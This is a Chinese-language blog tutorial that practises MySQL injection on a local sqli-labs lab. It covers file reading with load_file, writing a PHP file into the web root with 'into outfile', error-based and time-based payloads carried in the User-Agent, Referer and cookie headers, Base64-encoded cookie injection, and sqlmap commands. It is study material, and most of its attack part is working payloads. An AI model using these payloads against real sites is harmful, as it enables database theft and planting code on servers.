Web安全攻防的学习——07—(MySQL注入读写文件、HTTP头中的SQL注入、HTTP User-Agent注入、HTTP Referer注入、cookie注入)(重点)

1、MySQL注入读写文件

MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行 对文件进行读写(前提是权限足够)

读取前提:

  • 1.用户权限足够高,尽量具有root权限
  • 2.secure_file_priv不为null

图中显示secure_file_priv
需要人为设置secure_file_priv的默认值

在这里插入图片描述
修改数据库的配置文件:
在这里插入图片描述
保存文件后重启Phpstudy2018,再验证:

在这里插入图片描述

读取文件内容

http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,load_file(‘D:\1.txt’),3 --+

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,load_file(‘C:\Users\Administrator\Desktop\sqlmap\sqlmapproject-sqlmap-3b7dd2c\target.txt’),3 --+
在这里插入图片描述

开启MySQL文件写入

show variables like ‘%general%’; # 默认是关闭的
set global general_log = on;

在这里插入图片描述
开始sql写入文件:

http://127.0.0.1/sqli/Less-7/?id=-1’)) union select 1,’<?php phpinfo(); ?>’,3 into outfile ‘C:\\Users\\Administrator\\Desktop\\sqlmap\\sqlmapproject-sqlmap-3b7dd2c\\target.txt’ --+

注意文件路径一定要双斜线间隔,into outfile是将前面的sql查询语句的结果写入到后面的路径文件夹中。

http://127.0.0.1/sqli/Less-7/?id=-1’)) union select 1,"<?php phpinfo(); ?>",3 into outfile “G:\\phpstudy2018\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php” --+

利用sqlmap进行读写文件

python sqlmap.py -u “http://127.0.0.1/sqli/Less-7/?id=1” --file-read “D:\\1.txt”
在这里插入图片描述

2、HTTP头中的SQL注入

HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交 的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。

updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

  • HTTP User-Agent注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~

输出版本信息
在这里插入图片描述
在这里插入图片描述
输出数据库名称

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~

在这里插入图片描述
Kali虚拟机中的另一种测试方法和工具:
在这里插入图片描述
or ‘1’ = '1 闭合成功案例如下

# ' or '1'='1        报错信息
正常sql语句如下
select * from users where id = '1';

推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 ';      闭合成功

在这里插入图片描述
在这里插入图片描述

  • HTTP Referer注入
' or if(1=1,sleep(5),null)  or '1'='1

在这里插入图片描述
在这里插入图片描述
sqlmap安全测试
sqlmap自动搜索POST表单注入
sqlmap指定参数探测SQL注入
sqlmap referer注入把referer 改成* 或者在后面加上*

2、cookie注入

HTTP头中的注入介绍
服务器可以利用cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传 输中的状态。cookies最经典的应用就是判断用户是否已经登录网站。
在这里插入图片描述
cookie注入
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。

注入的payload

Cookie: uname=admin’ or 1=1 --+
Cookie: uname=admin’ and updatexml(1,concat(0x7e,version(),0x7e),1) --+
在这里插入图片描述
在这里插入图片描述

sqlmap安全测试

sqlmap -r target.txt --level 3 --batch
在这里插入图片描述

cookie Base64注入
Base64介绍
base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。base64是 网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符 来表示二进制数据的方法.

将原始内容转换为二进制,从左到右依次取6位,然后在最高补两位0,形成新的内容.(可以转换回来)

编码规则

  • 1.把3个字符变成4个字符
  • 2.每76个字符加一个换行符
  • 3.最后的结束符也要处理

cookie Base64注入代码分析
base64加密网址

如果报出Warning: date(): 在php.ini中设置date.timezone的值为PRC,设置好以后的为:date.timezone=PRC
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。

在这里插入图片描述
修改之后保存重启
在这里插入图片描述
在这里插入图片描述
明文 " or 1=1 #(加密后如下所示)

IiBvciAxPTEgIw==

sqlmap安全检测

python sqlmap.py -r target.txt --level 3 --tamper base64encode.py

发布了60 篇原创文章 · 获赞 9 · 访问量 5041

猜你喜欢

转载自blog.csdn.net/weixin_42118531/article/details/104626207
今日推荐